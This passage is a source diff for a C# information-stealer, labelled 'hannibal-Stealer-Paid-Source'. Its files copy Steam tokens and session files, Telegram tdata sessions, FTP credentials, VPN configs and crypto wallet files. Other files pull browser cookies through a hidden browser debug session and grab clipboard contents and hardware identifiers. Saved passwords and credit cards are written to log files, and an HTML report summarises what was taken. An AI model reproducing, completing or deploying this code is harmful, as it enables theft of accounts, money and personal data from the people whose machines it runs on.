+        return $"\nPC USER INFORMATION:\n    \uD83D\uDC41 <code>{Help.IP}</code> {Counting.country}\n    \uD83D\uDC64 {Environment.MachineName} | {Environment.UserName}\n    ⚙️ <code>{SystemInfo.GetSystemVersion()}</code>\nBASIC INFORMATION:\n    Passwords - <code>{Counting.Passwords.ToString()}</code>\n    AutoFiles - <code>{Counting.AutoFill.ToString()}</code>\n    Cookies - <code>{Counting.Cookies.ToString()}</code>\n    CC - <code>{Counting.cc.ToString()}</code>\n GRABBED SOFTWARE:{(Counting.ds > 0 ? $"\n    ✅Discord (<b>{Counting.ds}</b>)" : "")}{(Counting.jabber > 0 ? "\n    ✅Jabber" : "")}{(Counting.totalcmd > 0 ? "\n    ✅TotalCommander" : "")}{(Counting.Wallets > 0 ? $"\n    ✅Wallets ( {StartWallets.getAllWallets()} ) " : "")}{(Counting.Telegram > 0 ? "\n    ✅Telegram" : "")}{(Counting.FileZilla > 0 ? $"\n    ✅FileZilla ({Counting.FileZilla.ToString()})" : "")}{(Counting.Steam > 0 ? "\n    ✅Steam" : "")}{(Counting.NordVPN > 0 ? "\n    ✅NordVPN" : "")}{(Counting.cgv > 0 ? "\n    ✅CyberGhostVPN" : "")}{(Counting.express > 0 ? "\n    ✅ExpressVPN" : "")}{(Counting.pia > 0 ? "\n    ✅PiaVPN" : "")}{(Counting.OpenVPN > 0 ? "\n    ✅OpenVPN" : "")}{(Counting.ProtonVPN > 0 ? "\n    ✅ProtonVPN" : "")}\n DOMAINS DETECTED:\n - {Help.GetDomainDetect(Help.ExploitDir + "\\")}";
+      }
+    }
+}

StartVPN.cs

@@ -0,0 +1,24 @@
+using System;
+using System.Threading.Tasks;
+
+namespace SHARP
+{
+    internal class StartVPN
+    {
+      public static async Task Start(string head)
+      {
+        try
+        {
+          OpenVPN.Save(head);
+          NordVPN.Save(head);
+          CyberGhost.SaveFileSession(head);
+          ExpressVPN.SaveFileSession(head);
+          PIAVPN.SaveFileSession(head);
+        }
+        catch (Exception ex)
+        {
+          Console.WriteLine(ex?.ToString() + "кошельки :(");
+        }
+      }
+    }
+}

StartWallets.cs

@@ -0,0 +1,64 @@
+using System;
+using System.Threading.Tasks;
+
+namespace SHARP
+{
+    internal class StartWallets
+    {
+      public static async Task Start()
+      {
+        string exploitDir = Help.ExploitDir;
+        try
+        {
+          Armory.ArmoryStr(exploitDir);
+          AtomicWallet.AtomicStr(exploitDir);
+          BitcoinCore.BCStr(exploitDir);
+          Bytecoin.BCNcoinStr(exploitDir);
+          DashCore.DSHcoinStr(exploitDir);
+          Electrum.EleStr(exploitDir);
+          Ethereum.EcoinStr(exploitDir);
+          LitecoinCore.LitecStr(exploitDir);
+          Monero.XMRcoinStr(exploitDir);
+          Exodus.ExodusStr(exploitDir);
+          Zcash.ZecwalletStr(exploitDir);
+          Jaxx.JaxxStr(exploitDir);
+        }
+        catch (Exception ex)
+        {
+          Console.WriteLine(ex?.ToString() + "кошельки :(");
+        }
+      }
+
+      public static string getAllWallets()
+      {
+        string str = "";
+        if (Counting.armory > 0)
+          str += "<b>Armory</b> ,";
+        if (Counting.atomicwallet > 0)
+          str += "<b>AtomicWallet</b> ,";
+        if (Counting.bitcoincore > 0)
+          str += "<b>BitcoinCore</b> ,";
+        if (Counting.bytecoin > 0)
+          str += "<b>Bytecoin</b> ,";
+        if (Counting.dashcore > 0)
+          str += "<b>DashCore</b> ,";
+        if (Counting.electrum > 0)
+          str += "<b>Electrum</b> ,";
+        if (Counting.etherium > 0)
+          str += "<b>Etherium</b> ,";
+        if (Counting.exodus > 0)
+          str += "<b>Exodus</b> ,";
+        if (Counting.jaxx > 0)
+          str += "<b>Jaxx</b> ,";
+        if (Counting.litecoincore > 0)
+          str += "<b>LitecoinCore</b> ,";
+        if (Counting.metamask > 0)
+          str += "<b>Metamask</b> ,";
+        if (Counting.monero > 0)
+          str += "<b>Monero</b> ,";
+        if (Counting.zcash > 0)
+          str += "<b>Zcash</b> ,";
+        return str.Substring(0, str.Length - 2);
+      }
+    }
+}

Steam.cs

@@ -0,0 +1,121 @@
+using Microsoft.Win32;
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text.RegularExpressions;
+using System.Threading.Tasks;
+
+namespace SHARP
+{
+    internal class Steam
+    {
+      private static readonly string SteamPath_x64 = "SOFTWARE\\Wow6432Node\\Valve\\Steam";
+      public static readonly string SteamPath_x32 = "Software\\Valve\\Steam";
+      private static readonly bool True = true;
+      private static readonly bool False = false;
+      private static readonly string LoginFile = Path.Combine(Steam.GetLocationSteam(), "config\\loginusers.vdf");
+
+      public static async Task SteamGet(string head)
+      {
+        try
+        {
+          string path = head + "\\Steam";
+          RegistryKey registryKey1 = Registry.CurrentUser.OpenSubKey(Steam.SteamPath_x32);
+          string str1 = registryKey1.GetValue("SteamPath").ToString();
+          if (!Directory.Exists(str1) || Steam.GetLocationSteam() == null || Steam.GetAllProfiles() == null)
+            return;
+          Directory.CreateDirectory(path);
+          foreach (string allProfile in Steam.GetAllProfiles())
+            File.AppendAllText(path + "\\AccountsList.txt", allProfile);
+          foreach (string subKeyName in registryKey1.OpenSubKey("Apps").GetSubKeyNames())
+          {
+            using (RegistryKey registryKey2 = registryKey1.OpenSubKey("Apps\\" + subKeyName))
+            {
+              string str2 = (string) registryKey2.GetValue("Name");
+              string str3 = string.IsNullOrEmpty(str2) ? "Unknown" : str2;
+              File.AppendAllText(path + "\\Games.txt", str3 + "\n");
+            }
+          }
+          if (Directory.Exists(str1))
+          {
+            Directory.CreateDirectory(path + "\\ssnf");
+            foreach (string file in Directory.GetFiles(str1))
+            {
+              if (file.Contains("ssfn"))
+                File.Copy(file, $"{path}\\ssnf\\{Path.GetFileName(file)}");
+            }
+          }
+          string str4 = Path.Combine(str1, "config");
+          if (Directory.Exists(str4))
+          {
+            Steam.GetToken(str4);
+            Directory.CreateDirectory(path + "\\configs");
+            foreach (string file in Directory.GetFiles(str4))
+            {
+              if (file.EndsWith("vdf"))
+                File.Copy(file, $"{path}\\configs\\{Path.GetFileName(file)}");
+            }
+          }
+          ++Counting.Steam;
+        }
+        catch
+        {
+        }
+      }
+
+      public static string GetLocationSteam(string Inst = "InstallPath", string Source = "SourceModInstallPath")
+      {
+        try
+        {
+          using (RegistryKey registryKey1 = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32))
+          {
+            using (RegistryKey registryKey2 = registryKey1.OpenSubKey(Steam.SteamPath_x64, Environment.Is64BitOperatingSystem ? Steam.True : Steam.False))
+            {
+              using (RegistryKey registryKey3 = registryKey1.OpenSubKey(Steam.SteamPath_x32, Environment.Is64BitOperatingSystem ? Steam.True : Steam.False))
+                return registryKey2?.GetValue(Inst)?.ToString() ?? registryKey3?.GetValue(Source)?.ToString();
+            }
+          }
+        }
+        catch
+        {
+          return (string) null;
+        }
+      }
+
+      public static List<string> GetAllProfiles()
+      {
+        try
+        {
+          if (!File.Exists(Steam.LoginFile))
+            return (List<string>) null;
+          List<string> list = Regex.Matches(File.ReadAllText(Steam.LoginFile), "\\\"76(.*?)\\\"").Cast<Match>().Select<Match, string>((Func<Match, string>) (x => "76" + x.Groups[1].Value)).ToList<string>();
+          List<string> allProfiles = new List<string>();
+          for (int index = 0; index < list.Count<string>(); ++index)
+            allProfiles.Add($"https://steamcommunity.com/profiles/{list[index]}\n");
+          return allProfiles;
+        }
+        catch
+        {
+          return (List<string>) null;
+        }
+      }
+
+      public static void GetToken(string configpath)
+      {
+        string path1 = Path.Combine(configpath, "config.vdf");
+        string path2 = Path.Combine(Help.ExploitDir, nameof (Steam), "Token.txt");
+        if (!File.Exists(path1))
+          return;
+        foreach (string readAllLine in File.ReadAllLines(path1))
+        {
+          if (readAllLine.Contains("eyAidHlw"))
+          {
+            string str = ((IEnumerable<string>) readAllLine.Replace('\t', '\n').Split('\n')).Last<string>().Replace('"', ' ').Trim();
+            File.WriteAllText(path2, "Token: " + str);
+            break;
+          }
+        }
+      }
+    }
+}

SystemInfo.cs

@@ -0,0 +1,168 @@
+using Microsoft.Win32;
+using System;
+using System.Drawing;
+using System.IO;
+using System.Management;
+using System.Threading.Tasks;
+using System.Windows.Forms;
+
+namespace SHARP
+{
+    internal class SystemInfo
+    {
+      public static string username = Environment.UserName;
+      public static string compname = Environment.MachineName;
+
+      public static async Task GetSystem(string head)
+      {
+        File.WriteAllText(head + "\\Information.txt", $"\n---░██████╗██╗░░██╗░█████╗░██████╗░██████╗░---\n---██╔════╝██║░░██║██╔══██╗██╔══██╗██╔══██╗---\n---╚█████╗░███████║███████║██████╔╝██████╔╝---\n---░╚═══██╗██╔══██║██╔══██║██╔══██╗██╔═══╝░---\n---██████╔╝██║░░██║██║░░██║██║░░██║██║░░░░░---\n---╚═════╝░╚═╝░░╚═╝╚═╝░░╚═╝╚═╝░░╚═╝╚═╝░░░░░---\n---------------ME----------------\n==============================================\n Operating system: {SystemInfo.GetSystemVersion()}\n PC user: {SystemInfo.compname}/{SystemInfo.username}\n ClipBoard: {Buffers.GetBuffer()}\n Launch: {Help.ExploitName}\n==============================================\n Screen resolution: {SystemInfo.ScreenMetrics()}\n Current time: {DateTime.Now.ToString()}\n HWID: {SystemInfo.GetProcessorID()}\n==============================================\n CPU: {SystemInfo.GetCPUName()}\n RAM: {SystemInfo.GetRAM()}\n GPU: {SystemInfo.GetGpuName()}\n==============================================\n IP Geolocation: {Help.IP} {Counting.country}\n Log Date: {Help.date}\n BSSID: {BSSID.GetBSSID()}\n==============================================\n HDD: {SystemInfo.GetHDDSerialNo()}\n MAC: {SystemInfo.GetMACAddress()}\n BIOS caption: {SystemInfo.GetBIOScaption()}\n==============================================");
+      }
+
+      public static string GetSystemVersion()
+      {
+        return $"{SystemInfo.GetWindowsVersionName()} {SystemInfo.GetBitVersion()}";
+      }
+
+      private static string GetMACAddress()
+      {
+        ManagementObjectCollection instances = new ManagementClass("Win32_NetworkAdapterConfiguration").GetInstances();
+        string empty = string.Empty;
+        foreach (ManagementObject managementObject in instances)
+        {
+          if (empty == string.Empty && (bool) managementObject["IPEnabled"])
+            empty = managementObject["MacAddress"].ToString();
+          managementObject.Dispose();
+        }
+        return empty;
+      }
+
+      public static string ScreenMetrics()
+      {
+        Rectangle bounds = Screen.GetBounds(Point.Empty);
+        int width = bounds.Width;
+        int height = bounds.Height;
+        return $"{width.ToString()}x{height.ToString()}";
+      }
+
+      private static string GetBIOScaption()
+      {
+        foreach (ManagementObject managementObject in new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM Win32_BIOS").Get())
+        {
+          try
+          {
+            return managementObject.GetPropertyValue("Caption").ToString();
+          }
+          catch
+          {
+          }
+        }
+        return "BIOS Caption: Unknown";
+      }
+
+      public static string GetWindowsVersionName()
+      {
+        string windowsVersionName = "Unknown System";
+        try
+        {
+          using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("root\\CIMV2", " SELECT * FROM win32_operatingsystem"))
+          {
+            foreach (ManagementBaseObject managementBaseObject in managementObjectSearcher.Get())
+              windowsVersionName = Convert.ToString(managementBaseObject["Name"]);
+            windowsVersionName = windowsVersionName.Split('|')[0];
+            int length = windowsVersionName.Split(' ')[0].Length;
+            windowsVersionName = windowsVersionName.Substring(length).TrimStart().TrimEnd();
+          }
+        }
+        catch (Exception ex)
+        {
+          Console.WriteLine((object) ex);
+        }
+        return windowsVersionName;
+      }
+
+      private static string GetHDDSerialNo()
+      {
+        ManagementObjectCollection instances = new ManagementClass("Win32_LogicalDisk").GetInstances();
+        string hddSerialNo = "";
+        foreach (ManagementObject managementObject in instances)
+          hddSerialNo += Convert.ToString(managementObject["VolumeSerialNumber"]);
+        return hddSerialNo;
+      }
+
+      private static string GetBitVersion()
+      {
+        try
+        {
+          return Registry.LocalMachine.OpenSubKey("HARDWARE\\Description\\System\\CentralProcessor\\0").GetValue("Identifier").ToString().Contains("x86") ? "(32 Bit)" : "(64 Bit)";
+        }
+        catch (Exception ex)
+        {
+          Console.WriteLine((object) ex);
+        }
+        return "(Unknown)";
+      }
+
+      public static string GetCPUName()
+      {
+        try
+        {
+          string empty = string.Empty;
+          foreach (ManagementBaseObject managementBaseObject in new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM Win32_Processor").Get())
+            empty = managementBaseObject["Name"].ToString();
+          return empty;
+        }
+        catch (Exception ex)
+        {
+          Console.WriteLine(ex?.ToString() + "СистемИнфа");
+          return "Error";
+        }
+      }
+
+      public static string GetRAM()
+      {
+        try
+        {
+          int num = 0;
+          using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("Select * From Win32_ComputerSystem"))
+          {
+            using (ManagementObjectCollection.ManagementObjectEnumerator enumerator = managementObjectSearcher.Get().GetEnumerator())
+            {
+              if (enumerator.MoveNext())
+                num = (int) (Convert.ToDouble(enumerator.Current["TotalPhysicalMemory"]) / 1048576.0) - 1;
+            }
+          }
+          return num.ToString() + "MB";
+        }
+        catch (Exception ex)
+        {
+          Console.WriteLine((object) ex);
+          return "Error";
+        }
+      }
+
+      public static string GetProcessorID()
+      {
+        string empty = string.Empty;
+        foreach (ManagementBaseObject managementBaseObject in new ManagementObjectSearcher("SELECT ProcessorId FROM Win32_Processor").Get())
+          empty = (string) managementBaseObject["ProcessorId"];
+        return empty;
+      }
+
+      public static string GetGpuName()
+      {
+        try
+        {
+          using (ManagementObjectCollection.ManagementObjectEnumerator enumerator = new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM Win32_VideoController").Get().GetEnumerator())
+          {
+            if (enumerator.MoveNext())
+              return enumerator.Current["Name"].ToString();
+          }
+        }
+        catch (Exception ex)
+        {
+          Console.WriteLine((object) ex);
+        }
+        return "Unknown";
+      }
+    }
+}

Telegram.cs

@@ -0,0 +1,63 @@
+using System;
+using System.Diagnostics;
+using System.IO;
+using System.Threading.Tasks;
+
+namespace SHARP
+{
+    internal class Telegram
+    {
+      private static string GetTdata()
+      {
+        string str = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Telegram Desktop\\tdata";
+        Process[] processesByName = Process.GetProcessesByName(nameof (Telegram));
+        return processesByName.Length == 0 ? str : Path.Combine(Path.GetDirectoryName(ProcessList.ProcessExecutablePath(processesByName[0])), "tdata");
+      }
+
+      public static async Task GetTelegramSessions(string head)
+      {
+        string str1 = head;
+        string tdata = Telegram.GetTdata();
+        try
+        {
+          if (!Directory.Exists(tdata))
+            return;
+          string str2 = str1 + "\\Telegram";
+          Directory.CreateDirectory(str2);
+          string[] directories = Directory.GetDirectories(tdata);
+          string[] files = Directory.GetFiles(tdata);
+          foreach (string str3 in directories)
+          {
+            string name = new DirectoryInfo(str3).Name;
+            if (name.Length == 16 /*0x10*/)
+            {
+              string targetDir = Path.Combine(str2, name);
+              Filemanager.CopyDirectory(str3, targetDir);
+            }
+          }
+          foreach (string fileName in files)
+          {
+            FileInfo fileInfo = new FileInfo(fileName);
+            string name = fileInfo.Name;
+            string destFileName = Path.Combine(str2, name);
+            if (fileInfo.Length <= 5120L)
+            {
+              if (name.EndsWith("s") && name.Length == 17)
+              {
+                fileInfo.CopyTo(destFileName);
+              }
+              else
+              {
+                if (name.StartsWith("usertag") || name.StartsWith("settings") || name.StartsWith("key_data"))
+                  fileInfo.CopyTo(destFileName);
+                ++Counting.Telegram;
+              }
+            }
+          }
+        }
+        catch
+        {
+        }
+      }
+    }
+}

TotalCommander.cs

@@ -0,0 +1,29 @@
+using System.IO;
+using System.Threading.Tasks;
+
+namespace SHARP
+{
+    internal class TotalCommander
+    {
+      public static async Task Start(string head)
+      {
+        try
+        {
+          string path = Help.AppData + "\\GHISLER\\";
+          if (Directory.Exists(path))
+            Directory.CreateDirectory(head + "\\FTP\\Total Commander");
+          foreach (FileSystemInfo file in new DirectoryInfo(path).GetFiles())
+          {
+            if (file.Name.Contains("wcx_ftp.ini"))
+            {
+              File.Copy(path + "wcx_ftp.ini", head + "\\FTP\\Total Commander\\wcx_ftp.ini");
+              ++Counting.totalcmd;
+            }
+          }
+        }
+        catch
+        {
+        }
+      }
+    }
+}

V20Collect.cs

@@ -0,0 +1,222 @@
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.IO;
+using System.Linq;
+using System.Net.Http;
+using System.Net.WebSockets;
+using System.Text;
+using System.Threading;
+using System.Threading.Tasks;
+
+namespace SHARP
+{
+    internal class V20Collect
+    {
+      private const int DEBUG_PORT = 9222;
+      private static readonly string DEBUG_URL = $"http://localhost:{9222}/json";
+      private static readonly string LOCAL_APP_DATA = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
+
+      public static async Task<CookieFormat[]> GetCookiesFromBrowser(KeyValuePair<string, string> path)
+      {
+        try
+        {
+          string binPath = "";
+          Dictionary<string, string> dictionary = PathsCV20.PATHS[path.Key];
+          string path1 = dictionary["bin1"];
+          string path2 = dictionary["bin2"];
+          string path3 = dictionary["bin3"];
+          if (File.Exists(path1))
+            binPath = path1;
+          if (File.Exists(path2))
+            binPath = path2;
+          if (File.Exists(path3))
+            binPath = path3;
+          if (binPath == "")
+            return (CookieFormat[]) null;
+          string str = path.Value;
+          string command = $"{PathsCV20.commandT}\"{str}\"";
+          V20Collect.CloseBrowser(binPath);
+          V20Collect.StartBrowser(binPath, command);
+          CookieFormat[] cookies = await V20Collect.GetCookies(await V20Collect.GetDebugWsUrl());
+          V20Collect.CloseBrowser(binPath);
+          return cookies;
+        }
+        catch (Exception ex)
+        {
+          return (CookieFormat[]) null;
+        }
+      }
+
+      private static string ParseDebugWsUrl(string content)
+      {
+        string str1 = content;
+        char[] chArray = new char[1]{ '\n' };
+        foreach (string str2 in str1.Split(chArray))
+        {
+          if (str2.Contains("webSocketDebuggerUrl"))
+            return str2.Replace("webSocketDebuggerUrl", " ").Replace('"', ' ').Trim().Substring(1).Trim();
+        }
+        return (string) null;
+      }
+
+      private static async Task<string> GetDebugWsUrl()
+      {
+        string debugWsUrl;
+        using (HttpClient client = new HttpClient())
+        {
+          HttpResponseMessage async = await client.GetAsync(V20Collect.DEBUG_URL);
+          async.EnsureSuccessStatusCode();
+          string content = await async.Content.ReadAsStringAsync();
+          try
+          {
+            debugWsUrl = V20Collect.ParseDebugWsUrl(content);
+            goto label_10;
+          }
+          catch
+          {
+          }
+          throw new Exception("Could not find 'webSocketDebuggerUrl' in the debug info.");
+        }
+    label_10:
+        return debugWsUrl;
+      }
+
+      private static void CloseBrowser(string binPath)
+      {
+        string fileName = Path.GetFileName(binPath);
+        try
+        {
+          foreach (Process process in Process.GetProcessesByName(Path.GetFileNameWithoutExtension(fileName)))
+            process.Kill();
+        }
+        catch
+        {
+        }
+      }
+
+      private static void StartBrowser(string binPath, string command)
+      {
+        Process.Start(new ProcessStartInfo()
+        {
+          FileName = binPath,
+          Arguments = command,
+          RedirectStandardOutput = true,
+          RedirectStandardError = true,
+          UseShellExecute = false,
+          CreateNoWindow = true,
+          WindowStyle = ProcessWindowStyle.Hidden
+        });
+      }
+
+      private static async Task<CookieFormat[]> GetCookies(string wsUrl)
+      {
+        List<CookieFormat> cookies = new List<CookieFormat>();
+        CookieFormat[] array;
+        using (ClientWebSocket ws = new ClientWebSocket())
+        {
+          TaskCompletionSource<object> tcs = new TaskCompletionSource<object>();
+          try
+          {
+            await ws.ConnectAsync(new Uri(wsUrl), CancellationToken.None);
+            await V20Collect.SendMessageAsync(ws, "{\"id\": 1, \"method\": \"Network.getAllCookies\"}");
+            cookies = V20Collect.ParseCookiesFromResponse(await V20Collect.ReceiveMessageAsync(ws));
+            tcs.SetResult((object) null);
+          }
+          catch (Exception ex)
+          {
+            tcs.SetException(ex);
+          }
+          finally
+          {
+            if (ws.State == WebSocketState.Open)
+              await ws.CloseAsync(WebSocketCloseStatus.NormalClosure, "Closing", CancellationToken.None);
+          }
+          object task = await tcs.Task;
+          array = cookies.ToArray();
+        }
+        cookies = (List<CookieFormat>) null;
+        return array;
+      }
+
+      private static string writteCookieToFile(string response)
+      {
+        string contents = response.Replace(',', '\n');
+        string path = V20Collect.LOCAL_APP_DATA + BRWSR.GenerateRandomString(20);
+        File.WriteAllText(path, contents);
+        return path;
+      }
+
+      private static string parseValue(string value)
+      {
+        string empty = string.Empty;
+        return ((IEnumerable<string>) value.Split(':')).Last<string>().Replace('"', ' ').Trim();
+      }
+
+      private static List<CookieFormat> ParseCookiesFromResponse(string response)
+      {
+        List<CookieFormat> cookiesFromResponse = new List<CookieFormat>();
+        try
+        {
+          string file = V20Collect.writteCookieToFile(response);
+          string[] strArray = File.ReadAllLines(file);
+          string empty1 = string.Empty;
+          string empty2 = string.Empty;
+          string empty3 = string.Empty;
+          string empty4 = string.Empty;
+          string empty5 = string.Empty;
+          foreach (string str in strArray)
+          {
+            if (empty5 != string.Empty)
+            {
+              ++Counting.Cookies;
+              cookiesFromResponse.Add(new CookieFormat(empty3, empty1, empty4, empty2, empty5));
+              empty1 = string.Empty;
+              empty2 = string.Empty;
+              empty3 = string.Empty;
+              empty4 = string.Empty;
+              empty5 = string.Empty;
+            }
+            if (str.Contains("name"))
+              empty1 = V20Collect.parseValue(str);
+            if (str.Contains("value"))
+              empty2 = V20Collect.parseValue(str);
+            if (str.Contains("domain"))
+              empty3 = V20Collect.parseValue(str);
+            if (str.Contains("path"))
+              empty4 = V20Collect.parseValue(str);
+            if (str.Contains("expires"))
+              empty5 = V20Collect.parseValue(str);
+          }
+          File.Delete(file);
+          return cookiesFromResponse;
+        }
+        catch
+        {
+        }
+        return (List<CookieFormat>) null;
+      }
+
+      private static async Task SendMessageAsync(ClientWebSocket socket, string message)
+      {
+        await socket.SendAsync(new ArraySegment<byte>(Encoding.UTF8.GetBytes(message)), WebSocketMessageType.Text, true, CancellationToken.None);
+      }
+
+      private static async Task<string> ReceiveMessageAsync(ClientWebSocket socket)
+      {
+        byte[] buffer = new byte[4096 /*0x1000*/];
+        StringBuilder stringBuilder = new StringBuilder();
+        WebSocketReceiveResult async;
+        do
+        {
+          async = await socket.ReceiveAsync(new ArraySegment<byte>(buffer), CancellationToken.None);
+          stringBuilder.Append(Encoding.UTF8.GetString(buffer, 0, async.Count));
+        }
+        while (!async.EndOfMessage);
+        string messageAsync = stringBuilder.ToString();
+        buffer = (byte[]) null;
+        stringBuilder = (StringBuilder) null;
+        return messageAsync;
+      }
+    }
+}

WinAPI.cs

@@ -0,0 +1,26 @@
+using System;
+using System.Runtime.InteropServices;
+
+namespace SHARP
+{
+    internal class WinAPI
+    {
+      [DllImport("user32.dll")]
+      internal static extern IntPtr GetClipboardData(uint uFormat);
+
+      [DllImport("user32.dll")]
+      public static extern bool IsClipboardFormatAvailable(uint format);
+
+      [DllImport("user32.dll", SetLastError = true)]
+      internal static extern bool OpenClipboard(IntPtr hWndNewOwner);
+
+      [DllImport("user32.dll", SetLastError = true)]
+      internal static extern bool CloseClipboard();
+
+      [DllImport("kernel32.dll")]
+      internal static extern IntPtr GlobalLock(IntPtr hMem);
+
+      [DllImport("kernel32.dll")]
+      internal static extern bool GlobalUnlock(IntPtr hMem);
+    }
+}

Writer.cs

@@ -0,0 +1,79 @@
+using System.IO;
+using System.Threading.Tasks;
+
+namespace SHARP
+{
+    internal class Writer
+    {
+      private static string CookiesPath = Path.Combine(Help.ExploitDir, "Cookies");
+      private static string ExDir = Help.ExploitDir;
+      private static string AutoFillPath = Path.Combine(Help.ExploitDir, "AutoFill");
+      private static string CCDir = Path.Combine(Help.ExploitDir, "CC");
+
+      public static async Task WritePasswords(PasswordFormat[] passwords)
+      {
+        using (StreamWriter passwordWriter = new StreamWriter(Path.Combine(Writer.ExDir, "Passwords.txt"), true))
+        {
+          PasswordFormat[] passwordFormatArray = passwords;
+          for (int index = 0; index < passwordFormatArray.Length; ++index)
+          {
+            PasswordFormat passwordFormat = passwordFormatArray[index];
+            ++Counting.Passwords;
+            await passwordWriter.WriteLineAsync($"URL: {passwordFormat.Url}\nUsername: {passwordFormat.Username}\nPassword: {passwordFormat.Password}\r\n");
+          }
+          passwordFormatArray = (PasswordFormat[]) null;
+        }
+      }
+
+      public static async Task WriteCookies(CookieFormat[] cookies, string key)
+      {
+        if (!Directory.Exists(Writer.CookiesPath))
+          Directory.CreateDirectory(Writer.CookiesPath);
+        using (StreamWriter cookieWriter = new StreamWriter(Path.Combine(Writer.CookiesPath, $"Cookies_{key}.txt")))
+        {
+          CookieFormat[] cookieFormatArray = cookies;
+          for (int index = 0; index < cookieFormatArray.Length; ++index)
+          {
+            CookieFormat cookieFormat = cookieFormatArray[index];
+            ++Counting.Cookies;
+            await cookieWriter.WriteLineAsync($"{cookieFormat.Host}\tTRUE\t{cookieFormat.Path}\tFALSE\t{cookieFormat.Expiry}\t{cookieFormat.Name}\t{cookieFormat.Cookie}\r\n");
+          }
+          cookieFormatArray = (CookieFormat[]) null;
+        }
+      }
+
+      public static async Task WriteAutoFill(AutoFilesFormat[] autofilles, string key)
+      {
+        if (!Directory.Exists(Writer.AutoFillPath))
+          Directory.CreateDirectory(Writer.AutoFillPath);
+        using (StreamWriter cookieWriter = new StreamWriter(Path.Combine(Writer.AutoFillPath, $"AutoFill_{key}.txt")))
+        {
+          AutoFilesFormat[] autoFilesFormatArray = autofilles;
+          for (int index = 0; index < autoFilesFormatArray.Length; ++index)
+          {
+            AutoFilesFormat autoFilesFormat = autoFilesFormatArray[index];
+            ++Counting.AutoFill;
+            await cookieWriter.WriteLineAsync($"Name: {autoFilesFormat.Key}\nValue: {autoFilesFormat.Value}\r\n");
+          }
+          autoFilesFormatArray = (AutoFilesFormat[]) null;
+        }
+      }
+
+      public static async Task WriteCreditCards(CreditCardFormat[] creditcards, string key)
+      {
+        if (!Directory.Exists(Writer.CCDir))
+          Directory.CreateDirectory(Writer.CCDir);
+        using (StreamWriter cardWriter = new StreamWriter(Path.Combine(Writer.CCDir, $"CreditCards_{key}.txt")))
+        {
+          CreditCardFormat[] creditCardFormatArray = creditcards;
+          for (int index = 0; index < creditCardFormatArray.Length; ++index)
+          {
+            CreditCardFormat creditCardFormat = creditCardFormatArray[index];
+            ++Counting.cc;
+            await cardWriter.WriteLineAsync($"Number: {creditCardFormat.Number}\nExpYear: {creditCardFormat.ExpYear}\nExpMonth: {creditCardFormat.ExpMonth}\nName: {creditCardFormat.Name}\r\n");
+          }
+          creditCardFormatArray = (CreditCardFormat[]) null;
+        }
+      }
+    }
+}

Zcash.cs

@@ -0,0 +1,27 @@
+using System.IO;
+
+namespace SHARP
+{
+    internal class Zcash
+    {
+      public static int count = 0;
+      public static string ZcashDir = "\\Wallets\\Zcash\\";
+
+      public static void ZecwalletStr(string directorypath)
+      {
+        try
+        {
+          foreach (FileInfo file in new DirectoryInfo(Help.AppData + "\\Zcash\\").GetFiles())
+          {
+            Directory.CreateDirectory(directorypath + Zcash.ZcashDir);
+            file.CopyTo(directorypath + Zcash.ZcashDir + file.Name);
+          }
+          ++Counting.zcash;
+          ++Counting.Wallets;
+        }
+        catch
+        {
+        }
+      }
+    }
+}

app.config

@@ -0,0 +1,3 @@
+<?xml version="1.0" encoding="utf-8"?>
+<configuration>
+<startup><supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.8"/></startup></configuration>

desktop.ini

@@ -0,0 +1,2 @@
+[.ShellClassInfo]
+LocalizedResourceName=hannibal-Stealer-Paid-Source

dst.cs

@@ -0,0 +1,324 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Security.Cryptography;
+using System.Text;
+using System.Text.RegularExpressions;
+using System.Threading.Tasks;
+
+namespace SHARP
+{
+    internal class dst
+    {
+      private static List<DiscordAccountFormat> _accounts;
+      private static string RoamingPath;
+      private static string LocalAppDataPath = Help.LocalData;
+
+      static dst()
+      {
+        dst.RoamingPath = Help.AppData;
+        dst._accounts = new List<DiscordAccountFormat>();
+      }
+
+      internal static async Task<DiscordAccountFormat[]> GetAccounts()
+      {
+        await dst.Run();
+        return dst._accounts.ToArray();
+      }
+
+      private static async Task Run()
+      {
+        dst._accounts.Clear();
+        List<Task> taskList = new List<Task>();
+        foreach (KeyValuePair<string, string> keyValuePair in new Dictionary<string, string>()
+        {
+          {
+            "Discord",
+            Path.Combine(dst.RoamingPath, "discord")
+          },
+          {
+            "Discord Canary",
+            Path.Combine(dst.RoamingPath, "discordcanary")
+          },
+          {
+            "Lightcord",
+            Path.Combine(dst.RoamingPath, "Lightcord")
+          },
+          {
+            "Discord PTB",
+            Path.Combine(dst.RoamingPath, "discordptb")
+          },
+          {
+            "Opera",
+            Path.Combine(dst.RoamingPath, "Opera Software", "Opera Stable")
+          },
+          {
+            "Opera GX",
+            Path.Combine(dst.RoamingPath, "Opera Software", "Opera GX Stable")
+          },
+          {
+            "Amigo",
+            Path.Combine(dst.LocalAppDataPath, "Amigo", "User Data")
+          },
+          {
+            "Torch",
+            Path.Combine(dst.LocalAppDataPath, "Torch", "User Data")
+          },
+          {
+            "Kometa",
+            Path.Combine(dst.LocalAppDataPath, "Kometa", "User Data")
+          },
+          {
+            "Orbitum",
+            Path.Combine(dst.LocalAppDataPath, "Orbitum", "User Data")
+          },
+          {
+            "CentBrowse",
+            Path.Combine(dst.LocalAppDataPath, "CentBrowser", "User Data")
+          },
+          {
+            "7Sta",
+            Path.Combine(dst.LocalAppDataPath, "7Star", "7Star", "User Data")
+          },
+          {
+            "Sputnik",
+            Path.Combine(dst.LocalAppDataPath, "Sputnik", "Sputnik", "User Data")
+          },
+          {
+            "Vivaldi",
+            Path.Combine(dst.LocalAppDataPath, "Vivaldi", "User Data")
+          },
+          {
+            "Chrome SxS",
+            Path.Combine(dst.LocalAppDataPath, "Google", "Chrome SxS", "User Data")
+          },
+          {
+            "Chrome",
